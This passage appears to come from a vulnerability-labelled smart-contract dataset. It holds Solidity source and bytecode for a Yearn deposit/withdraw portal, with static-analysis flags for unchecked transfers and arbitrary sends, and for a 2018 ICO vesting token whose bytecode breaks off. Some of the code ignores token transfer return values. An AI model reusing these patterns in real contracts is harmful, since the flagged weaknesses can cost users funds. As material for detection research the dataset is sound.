*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract DefiPortal {
using SafeMath for uint256;
uint public version = 4;
address constant private ETH_TOKEN_ADDRESS = address(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE);
// Contract for handle tokens types
ITokensTypeStorage public tokensTypes;
// Enum
// NOTE: You can add a new type at the end, but DO NOT CHANGE this order
enum DefiActions { YearnDeposit, YearnWithdraw }
constructor(address _tokensTypes) public {
tokensTypes = ITokensTypeStorage(_tokensTypes);
}
/**
*
* if need paybale protocol, in new version of this portal can be added such function
*
function callNonPayableProtocol(
address[] memory tokensToSend,
uint256[] memory amountsToSend,
bytes memory _additionalData,
bytes32[] memory _additionalArgs
)
external
returns(
string memory eventType,
address[] memory tokensToReceive,
uint256[] memory amountsToReceive
);
*/
// param _additionalArgs[0] require DefiActions type
function callNonPayableProtocol(
address[] memory tokensToSend,
uint256[] memory amountsToSend,
bytes memory _additionalData,
bytes32[] memory _additionalArgs
)
external
returns(
string memory eventType,
address[] memory tokensToReceive,
uint256[] memory amountsToReceive
)
{
if(uint(_additionalArgs[0]) == uint(DefiActions.YearnDeposit)){
(tokensToReceive, amountsToReceive) = _YearnDeposit(
tokensToSend[0],
amountsToSend[0],
_additionalData
);
eventType = "YEARN_DEPOSIT";
}
else if(uint(_additionalArgs[0]) == uint(DefiActions.YearnWithdraw)){
(tokensToReceive, amountsToReceive) = _YearnWithdraw(
tokensToSend[0],
amountsToSend[0],
_additionalData
);
eventType = "YEARN_WITHDRAW";
}
else{
revert("Unknown DEFI action");
}
}
// for new DEFI protocols Exchange portal get value here
function getValue(
address _from,
address _to,
uint256 _amount
)
public
view
returns(uint256)
{
return 0;
}
// param _additionalData require address yTokenAddress, uint256 minReturn
function _YearnDeposit(
address tokenAddress,
uint256 tokenAmount,
bytes memory _additionalData
)
private
returns(
address[] memory tokensToReceive,
uint256[] memory amountsToReceive
)
{
// get yToken instance
(address yTokenAddress, uint256 minReturn) = abi.decode(_additionalData, (address, uint256));
IYearnToken yToken = IYearnToken(yTokenAddress);
// transfer underlying from sender
_transferFromSenderAndApproveTo(IERC20(tokenAddress), tokenAmount, yTokenAddress);
// mint yToken
yToken.deposit(tokenAmount);
// get received tokens
uint256 receivedYToken = IERC20(yTokenAddress).balanceOf(address(this));
// min return check
require(receivedYToken >= minReturn, "MIN_RETURN_FAIL");
// send yToken to sender
IERC20(yTokenAddress).transfer(msg.sender, receivedYToken);
// send remains if there is some remains
_sendRemains(IERC20(tokenAddress), msg.sender);
// Update type
// DEV NOTE don't need mark this tokens as YEARN assets, we can use 1inch ratio
// for this token as for CRYPTOCURRENCY
tokensTypes.addNewTokenType(yTokenAddress, "CRYPTOCURRENCY");
// return data
tokensToReceive = new address[](1);
tokensToReceive[0] = yTokenAddress;
amountsToReceive = new uint256[](1);
amountsToReceive[0] = receivedYToken;
}
// param _additionalData require uint256 minReturn
function _YearnWithdraw(
address yTokenAddress,
uint256 sharesAmount,
bytes memory _additionalData
)
private
returns(
address[] memory tokensToReceive,
uint256[] memory amountsToReceive
)
{
(uint256 minReturn) = abi.decode(_additionalData, (uint256));
IYearnToken yToken = IYearnToken(yTokenAddress);
// transfer underlying from sender
_transferFromSenderAndApproveTo(IERC20(yTokenAddress), sharesAmount, yTokenAddress);
// mint yToken
yToken.withdraw(sharesAmount);
// get underlying address
address underlyingToken = yToken.token();
// get received tokens
uint256 received = IERC20(underlyingToken).balanceOf(address(this));
// min return check
require(received >= minReturn, "MIN_RETURN_FAIL");
// send underlying to sender
IERC20(underlyingToken).transfer(msg.sender, received);
// send remains if there is some remains
_sendRemains(IERC20(yTokenAddress), msg.sender);
// return data
tokensToReceive = new address[](1);
tokensToReceive[0] = underlyingToken;
amountsToReceive = new uint256[](1);
amountsToReceive[0] = received;
}
// Facilitates for send source remains
function _sendRemains(IERC20 _source, address _receiver) private {
// After the trade, any _source that exchangePortal holds will be sent back to msg.sender
uint256 endAmount = (_source == IERC20(ETH_TOKEN_ADDRESS))
? address(this).balance
: _source.balanceOf(address(this));
// Check if we hold a positive amount of _source
if (endAmount > 0) {
if (_source == IERC20(ETH_TOKEN_ADDRESS)) {
payable(_receiver).transfer(endAmount);
} else {
_source.transfer(_receiver, endAmount);
}
}
}
/**
* @dev Transfers tokens to this contract and approves them to another address
*
* @param _source Token to transfer and approve
* @param _sourceAmount The amount to transfer and approve (in _source token)
* @param _to Address to approve to
*/
function _transferFromSenderAndApproveTo(IERC20 _source, uint256 _sourceAmount, address _to) private {
require(_source.transferFrom(msg.sender, address(this), _sourceAmount));
// reset previos approve because some tokens require allowance 0
_source.approve(_to, 0);
// approve
_source.approve(_to, _sourceAmount);
}
} | 0x608060405234801561001057600080fd5b506004361061004c5760003560e01c806354fd4d5014610051578063b9d04fe01461006b578063d977b28214610393578063e426e2b1146103c9575b600080fd5b6100596103ed565b60408051918252519081900360200190f35b6102956004803603608081101561008157600080fd5b810190602081018135600160201b81111561009b57600080fd5b8201836020820111156100ad57600080fd5b803590602001918460208302840111600160201b831117156100ce57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b81111561011d57600080fd5b82018360208201111561012f57600080fd5b803590602001918460208302840111600160201b8311171561015057600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b81111561019f57600080fd5b8201836020820111156101b157600080fd5b803590602001918460018302840111600160201b831117156101d257600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b81111561022457600080fd5b82018360208201111561023657600080fd5b803590602001918460208302840111600160201b8311171561025757600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295506103f3945050505050565b60405180806020018060200180602001848103845287818151815260200191508051906020019080838360005b838110156102da5781810151838201526020016102c2565b50505050905090810190601f1680156103075780820380516001836020036101000a031916815260200191505b508481038352865181528651602091820191808901910280838360005b8381101561033c578181015183820152602001610324565b50505050905001848103825285818151815260200191508051906020019060200280838360005b8381101561037b578181015183820152602001610363565b50505050905001965050505050505060405180910390f35b610059600480360360608110156103a957600080fd5b506001600160a01b0381358116916020810135909116906040013561054b565b6103d1610554565b604080516001600160a01b039092168252519081900360200190f35b60005481565b6060808060008460008151811061040657fe5b602002602001015160001c141561047a5761044a8760008151811061042757fe5b60200260200101518760008151811061043c57fe5b602002602001015187610563565b60408051808201909152600d81526c165150549397d1115413d4d255609a1b602082015294509092509050610541565b60018460008151811061048957fe5b602002602001015160001c14156104fe576104cd876000815181106104aa57fe5b6020026020010151876000815181106104bf57fe5b60200260200101518761086e565b60408051808201909152600e81526d594541524e5f574954484452415760901b602082015294509092509050610541565b6040805162461bcd60e51b81526020600482015260136024820152722ab735b737bbb7102222a3249030b1ba34b7b760691b604482015290519081900360640190fd5b9450945094915050565b60009392505050565b6001546001600160a01b031681565b60608060008084806020019051604081101561057e57600080fd5b508051602090910151909250905081610598888883610ad2565b806001600160a01b031663b6b55f25886040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b1580156105de57600080fd5b505af11580156105f2573d6000803e3d6000fd5b505050506000836001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b15801561064557600080fd5b505afa158015610659573d6000803e3d6000fd5b505050506040513d602081101561066f57600080fd5b50519050828110156106ba576040805162461bcd60e51b815260206004820152600f60248201526e13525397d4915515549397d1905253608a1b604482015290519081900360640190fd5b6040805163a9059cbb60e01b81523360048201526024810183905290516001600160a01b0386169163a9059cbb9160448083019260209291908290030181600087803b15801561070957600080fd5b505af115801561071d573d6000803e3d6000fd5b505050506040513d602081101561073357600080fd5b5061074090508933610c64565b6001546040805163ba74718160e01b81526001600160a01b03878116600483015260248201839052600e60448301526d43525950544f43555252454e435960901b60648301529151919092169163ba74718191608480830192600092919082900301818387803b1580156107b357600080fd5b505af11580156107c7573d6000803e3d6000fd5b5060019250600091506107d79050565b50604051908082528060200260200182016040528015610801578160200160208202803683370190505b509550838660008151811061081257fe5b6001600160a01b0392909216602092830291909101820152604080516001808252818301909252918281019080368337019050509450808560008151811061085657fe5b60200260200101818152505050505050935093915050565b606080600083806020019051602081101561088857600080fd5b5051905085610898818781610ad2565b806001600160a01b0316632e1a7d4d876040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b1580156108de57600080fd5b505af11580156108f2573d6000803e3d6000fd5b505050506000816001600160a01b031663fc0c546a6040518163ffffffff1660e01b815260040160206040518083038186803b15801561093157600080fd5b505afa158015610945573d6000803e3d6000fd5b505050506040513d602081101561095b57600080fd5b5051604080516370a0823160e01b815230600482015290519192506000916001600160a01b038416916370a08231916024808301926020929190829003018186803b1580156109a957600080fd5b505afa1580156109bd573d6000803e3d6000fd5b505050506040513d60208110156109d357600080fd5b5051905083811015610a1e576040805162461bcd60e51b815260206004820152600f60248201526e13525397d4915515549397d1905253608a1b604482015290519081900360640190fd5b6040805163a9059cbb60e01b81523360048201526024810183905290516001600160a01b0384169163a9059cbb9160448083019260209291908290030181600087803b158015610a6d57600080fd5b505af1158015610a81573d6000803e3d6000fd5b505050506040513d6020811015610a9757600080fd5b50610aa490508933610c64565b6040805160018082528183019092529060208083019080368337019050509550818660008151811061081257fe5b604080516323b872dd60e01b81523360048201523060248201526044810184905290516001600160a01b038516916323b872dd9160648083019260209291908290030181600087803b158015610b2757600080fd5b505af1158015610b3b573d6000803e3d6000fd5b505050506040513d6020811015610b5157600080fd5b5051610b5c57600080fd5b826001600160a01b031663095ea7b38260006040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b158015610bb457600080fd5b505af1158015610bc8573d6000803e3d6000fd5b505050506040513d6020811015610bde57600080fd5b50506040805163095ea7b360e01b81526001600160a01b0383811660048301526024820185905291519185169163095ea7b3916044808201926020929091908290030181600087803b158015610c3357600080fd5b505af1158015610c47573d6000803e3d6000fd5b505050506040513d6020811015610c5d57600080fd5b5050505050565b60006001600160a01b03831673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee14610d0157604080516370a0823160e01b815230600482015290516001600160a01b038516916370a08231916024808301926020929190829003018186803b158015610cd057600080fd5b505afa158015610ce4573d6000803e3d6000fd5b505050506040513d6020811015610cfa57600080fd5b5051610d03565b475b90508015610dc3576001600160a01b03831673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee1415610d6c576040516001600160a01b0383169082156108fc029083906000818181858888f19350505050158015610d66573d6000803e3d6000fd5b50610dc3565b826001600160a01b031663a9059cbb83836040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b158015610c3357600080fd5b50505056fea264697066735822122085f2a7e7750fa2d0bb1762ce41908c7f20b6d46c2b424f4690912171acab14ba64736f6c634300060c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 9,810 |
0xee16240bfb5d1bd8b50d8d97b9a71ec1eba5dcc5 | pragma solidity ^0.4.18;
// accepted from zeppelin-solidity https://github.com/OpenZeppelin/zeppelin-solidity
/*
* ERC20 interface
* see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 {
uint public totalSupply;
function balanceOf(address _who) public constant returns (uint);
function allowance(address _owner, address _spender) public constant returns (uint);
function transfer(address _to, uint _value) public returns (bool ok);
function transferFrom(address _from, address _to, uint _value) public returns (bool ok);
function approve(address _spender, uint _value) public returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
contract SafeMath {
function safeMul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function safeSub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract VLToken is ERC20, Ownable, SafeMath {
// Token related informations
string public constant name = "Villiam Blockchain Token";
string public constant symbol = "VLT";
uint256 public constant decimals = 18; // decimal places
// Start withdraw of tokens
uint256 public startWithdraw;
// Address of wallet from which tokens assigned
address public ethExchangeWallet;
// MultiSig Wallet Address
address public VLTMultisig;
uint256 public tokensPerEther = 1500;
bool public startStop = false;
mapping (address => uint256) public walletAngelSales;
mapping (address => uint256) public walletPESales;
mapping (address => uint256) public releasedAngelSales;
mapping (address => uint256) public releasedPESales;
mapping (uint => address) public walletAddresses;
// Mapping of token balance and allowed address for each address with transfer limit
mapping (address => uint256) balances;
//mapping of allowed address for each address with tranfer limit
mapping (address => mapping (address => uint256)) allowed;
function VLToken() public {
totalSupply = 500000000 ether;
balances[msg.sender] = totalSupply;
}
// Only to be called by Owner of this contract
// @param _id Id of lock wallet address
// @param _walletAddress Address of lock wallet
function addWalletAddresses(uint _id, address _walletAddress) onlyOwner external{
require(_walletAddress != address(0));
walletAddresses[_id] = _walletAddress;
}
// Owner can Set Multisig wallet
// @param _vltMultisig address of Multisig wallet.
function setVLTMultiSig(address _vltMultisig) onlyOwner external{
require(_vltMultisig != address(0));
VLTMultisig = _vltMultisig;
}
// Only to be called by Owner of this contract
// @param _ethExchangeWallet Ether Address of exchange wallet
function setEthExchangeWallet(address _ethExchangeWallet) onlyOwner external {
require(_ethExchangeWallet != address(0));
ethExchangeWallet = _ethExchangeWallet;
}
// Only to be called by Owner of this contract
// @param _tokensPerEther Tokens per ether during ICO stages
function setTokensPerEther(uint256 _tokensPerEther) onlyOwner external {
require(_tokensPerEther > 0);
tokensPerEther = _tokensPerEther;
}
function startStopICO(bool status) onlyOwner external {
startStop = status;
}
function startLockingPeriod() onlyOwner external {
startWithdraw = now;
}
// Assign tokens to investor with locking period
function assignToken(address _investor,uint256 _tokens) external {
// Tokens assigned by only Angel Sales And PE Sales wallets
require(msg.sender == walletAddresses[0] || msg.sender == walletAddresses[1]);
// Check investor address and tokens.Not allow 0 value
require(_investor != address(0) && _tokens > 0);
// Check wallet have enough token balance to assign
require(_tokens <= balances[msg.sender]);
// Debit the tokens from the wallet
balances[msg.sender] = safeSub(balances[msg.sender],_tokens);
uint256 calCurrentTokens = getPercentageAmount(_tokens, 20);
uint256 allocateTokens = safeSub(_tokens, calCurrentTokens);
// Initially assign 20% tokens to the investor
balances[_investor] = safeAdd(balances[_investor], calCurrentTokens);
// Assign tokens to the investor
if(msg.sender == walletAddresses[0]){
walletAngelSales[_investor] = safeAdd(walletAngelSales[_investor],allocateTokens);
releasedAngelSales[_investor] = safeAdd(releasedAngelSales[_investor], calCurrentTokens);
}
else if(msg.sender == walletAddresses[1]){
walletPESales[_investor] = safeAdd(walletPESales[_investor],allocateTokens);
releasedPESales[_investor] = safeAdd(releasedPESales[_investor], calCurrentTokens);
}
else{
revert();
}
}
function withdrawTokens() public {
require(walletAngelSales[msg.sender] > 0 || walletPESales[msg.sender] > 0);
uint256 withdrawableAmount = 0;
if (walletAngelSales[msg.sender] > 0) {
uint256 withdrawableAmountAS = getWithdrawableAmountAS(msg.sender);
walletAngelSales[msg.sender] = safeSub(walletAngelSales[msg.sender], withdrawableAmountAS);
releasedAngelSales[msg.sender] = safeAdd(releasedAngelSales[msg.sender],withdrawableAmountAS);
withdrawableAmount = safeAdd(withdrawableAmount, withdrawableAmountAS);
}
if (walletPESales[msg.sender] > 0) {
uint256 withdrawableAmountPS = getWithdrawableAmountPES(msg.sender);
walletPESales[msg.sender] = safeSub(walletPESales[msg.sender], withdrawableAmountPS);
releasedPESales[msg.sender] = safeAdd(releasedPESales[msg.sender], withdrawableAmountPS);
withdrawableAmount = safeAdd(withdrawableAmount, withdrawableAmountPS);
}
require(withdrawableAmount > 0);
// Assign tokens to the sender
balances[msg.sender] = safeAdd(balances[msg.sender], withdrawableAmount);
}
// For wallet Angel Sales
function getWithdrawableAmountAS(address _investor) public view returns(uint256) {
require(startWithdraw != 0);
// interval in months
uint interval = safeDiv(safeSub(now,startWithdraw),30 days);
// total allocatedTokens
uint _allocatedTokens = safeAdd(walletAngelSales[_investor],releasedAngelSales[_investor]);
// Atleast 6 months
if (interval < 6) {
return (0);
} else if (interval >= 6 && interval < 9) {
return safeSub(getPercentageAmount(40,_allocatedTokens), releasedAngelSales[_investor]);
} else if (interval >= 9 && interval < 12) {
return safeSub(getPercentageAmount(60,_allocatedTokens), releasedAngelSales[_investor]);
} else if (interval >= 12 && interval < 15) {
return safeSub(getPercentageAmount(80,_allocatedTokens), releasedAngelSales[_investor]);
} else if (interval >= 15) {
return safeSub(_allocatedTokens, releasedAngelSales[_investor]);
}
}
// For wallet PE Sales
function getWithdrawableAmountPES(address _investor) public view returns(uint256) {
require(startWithdraw != 0);
// interval in months
uint interval = safeDiv(safeSub(now,startWithdraw),30 days);
// total allocatedTokens
uint _allocatedTokens = safeAdd(walletPESales[_investor],releasedPESales[_investor]);
// Atleast 12 months
if (interval < 12) {
return (0);
} else if (interval >= 12 && interval < 18) {
return safeSub(getPercentageAmount(40,_allocatedTokens), releasedPESales[_investor]);
} else if (interval >= 18 && interval < 24) {
return safeSub(getPercentageAmount(60,_allocatedTokens), releasedPESales[_investor]);
} else if (interval >= 24 && interval < 30) {
return safeSub(getPercentageAmount(80,_allocatedTokens), releasedPESales[_investor]);
} else if (interval >= 30) {
return safeSub(_allocatedTokens, releasedPESales[_investor]);
}
}
function getPercentageAmount(uint256 percent,uint256 _tokens) internal pure returns (uint256) {
return safeDiv(safeMul(_tokens,percent),100);
}
// Sale of the tokens. Investors can call this method to invest into VLT Tokens
function() payable external {
// Allow only to invest in ICO stage
require(startStop);
//Sorry !! We only allow to invest with minimum 0.5 Ether as value
require(msg.value >= (0.5 ether));
// multiply by exchange rate to get token amount
uint256 calculatedTokens = safeMul(msg.value, tokensPerEther);
// Wait we check tokens available for assign
require(balances[ethExchangeWallet] >= calculatedTokens);
// Call to Internal function to assign tokens
assignTokens(msg.sender, calculatedTokens);
}
// Function will transfer the tokens to investor's address
// Common function code for assigning tokens
function assignTokens(address investor, uint256 tokens) internal {
// Debit tokens from ether exchange wallet
balances[ethExchangeWallet] = safeSub(balances[ethExchangeWallet], tokens);
// Assign tokens to the sender
balances[investor] = safeAdd(balances[investor], tokens);
// Finally token assigned to sender, log the creation event
Transfer(ethExchangeWallet, investor, tokens);
}
function finalizeCrowdSale() external{
// Check VLT Multisig wallet set or not
require(VLTMultisig != address(0));
// Send fund to multisig wallet
require(VLTMultisig.send(address(this).balance));
}
// @param _who The address of the investor to check balance
// @return balance tokens of investor address
function balanceOf(address _who) public constant returns (uint) {
return balances[_who];
}
// @param _owner The address of the account owning tokens
// @param _spender The address of the account able to transfer the tokens
// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) public constant returns (uint) {
return allowed[_owner][_spender];
}
// Transfer `value` VLT tokens from sender's account
// `msg.sender` to provided account address `to`.
// @param _to The address of the recipient
// @param _value The number of VLT tokens to transfer
// @return Whether the transfer was successful or not
function transfer(address _to, uint _value) public returns (bool ok) {
//validate receiver address and value.Not allow 0 value
require(_to != 0 && _value > 0);
uint256 senderBalance = balances[msg.sender];
//Check sender have enough balance
require(senderBalance >= _value);
senderBalance = safeSub(senderBalance, _value);
balances[msg.sender] = senderBalance;
balances[_to] = safeAdd(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
// Transfer `value` VLT tokens from sender 'from'
// to provided account address `to`.
// @param from The address of the sender
// @param to The address of the recipient
// @param value The number of VLT to transfer
// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint _value) public returns (bool ok) {
//validate _from,_to address and _value(Now allow with 0)
require(_from != 0 && _to != 0 && _value > 0);
//Check amount is approved by the owner for spender to spent and owner have enough balances
require(allowed[_from][msg.sender] >= _value && balances[_from] >= _value);
balances[_from] = safeSub(balances[_from],_value);
balances[_to] = safeAdd(balances[_to],_value);
allowed[_from][msg.sender] = safeSub(allowed[_from][msg.sender],_value);
Transfer(_from, _to, _value);
return true;
}
// `msg.sender` approves `spender` to spend `value` tokens
// @param spender The address of the account able to transfer the tokens
// @param value The amount of wei to be approved for transfer
// @return Whether the approval was successful or not
function approve(address _spender, uint _value) public returns (bool ok) {
//validate _spender address
require(_spender != 0);
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
} | 0x608060405260043610610196576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610255578063095ea7b3146102e55780630e758d0a1461034a5780631469d5d4146103a157806318160ddd1461040e57806323b872dd14610439578063313ce567146104be5780633ac46b25146104e957806345bfdca6146105405780634fdf8a031461058d5780635751bee2146105e45780635a5ddcf61461063b578063631c42ae1461066a57806370a08231146106c157806371098a351461071857806375f46563146107475780637b253fe61461078a5780638ca9e721146107e15780638d8f2adb146107f85780638da5cb5b1461080f5780638f69fa2514610866578063904bd6d01461087d57806390ed6bf4146108aa57806394b23972146108d557806395d89b411461092c578063998c4f5a146109bc578063a401d24d146109ff578063a9059cbb14610a4c578063aab7403e14610ab1578063dd62ed3e14610b08578063f2fde38b14610b7f578063f856d60514610bc2575b6000600660009054906101000a900460ff1615156101b357600080fd5b6706f05b59d3b2000034101515156101ca57600080fd5b6101d634600554610bed565b905080600c6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561024857600080fd5b6102523382610c28565b50005b34801561026157600080fd5b5061026a610e0f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102aa57808201518184015260208101905061028f565b50505050905090810190601f1680156102d75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102f157600080fd5b50610330600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e48565b604051808215151515815260200191505060405180910390f35b34801561035657600080fd5b5061038b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f5f565b6040518082815260200191505060405180910390f35b3480156103ad57600080fd5b506103cc60048036038101908080359060200190929190505050610f77565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561041a57600080fd5b50610423610faa565b6040518082815260200191505060405180910390f35b34801561044557600080fd5b506104a4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610fb0565b604051808215151515815260200191505060405180910390f35b3480156104ca57600080fd5b506104d361136a565b6040518082815260200191505060405180910390f35b3480156104f557600080fd5b5061052a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061136f565b6040518082815260200191505060405180910390f35b34801561054c57600080fd5b5061058b60048036038101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115ed565b005b34801561059957600080fd5b506105a26116db565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156105f057600080fd5b50610625600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611701565b6040518082815260200191505060405180910390f35b34801561064757600080fd5b50610668600480360381019080803515159060200190929190505050611719565b005b34801561067657600080fd5b5061067f611792565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156106cd57600080fd5b50610702600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117b8565b6040518082815260200191505060405180910390f35b34801561072457600080fd5b5061072d611801565b604051808215151515815260200191505060405180910390f35b34801561075357600080fd5b50610788600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611814565b005b34801561079657600080fd5b506107cb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506118f0565b6040518082815260200191505060405180910390f35b3480156107ed57600080fd5b506107f6611b6e565b005b34801561080457600080fd5b5061080d611c47565b005b34801561081b57600080fd5b50610824612077565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561087257600080fd5b5061087b61209d565b005b34801561088957600080fd5b506108a860048036038101908080359060200190929190505050612102565b005b3480156108b657600080fd5b506108bf612177565b6040518082815260200191505060405180910390f35b3480156108e157600080fd5b50610916600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061217d565b6040518082815260200191505060405180910390f35b34801561093857600080fd5b50610941612195565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610981578082015181840152602081019050610966565b50505050905090810190601f1680156109ae5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156109c857600080fd5b506109fd600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506121ce565b005b348015610a0b57600080fd5b50610a4a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506122aa565b005b348015610a5857600080fd5b50610a97600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612860565b604051808215151515815260200191505060405180910390f35b348015610abd57600080fd5b50610af2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612a32565b6040518082815260200191505060405180910390f35b348015610b1457600080fd5b50610b69600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612a4a565b6040518082815260200191505060405180910390f35b348015610b8b57600080fd5b50610bc0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612ad1565b005b348015610bce57600080fd5b50610bd7612c29565b6040518082815260200191505060405180910390f35b6000806000841415610c025760009150610c21565b8284029050828482811515610c1357fe5b04141515610c1d57fe5b8091505b5092915050565b610c93600c6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482612c2f565b600c6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d41600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482612c48565b600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b6040805190810160405280601881526020017f56696c6c69616d20426c6f636b636861696e20546f6b656e000000000000000081525081565b6000808373ffffffffffffffffffffffffffffffffffffffff1614151515610e6f57600080fd5b81600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915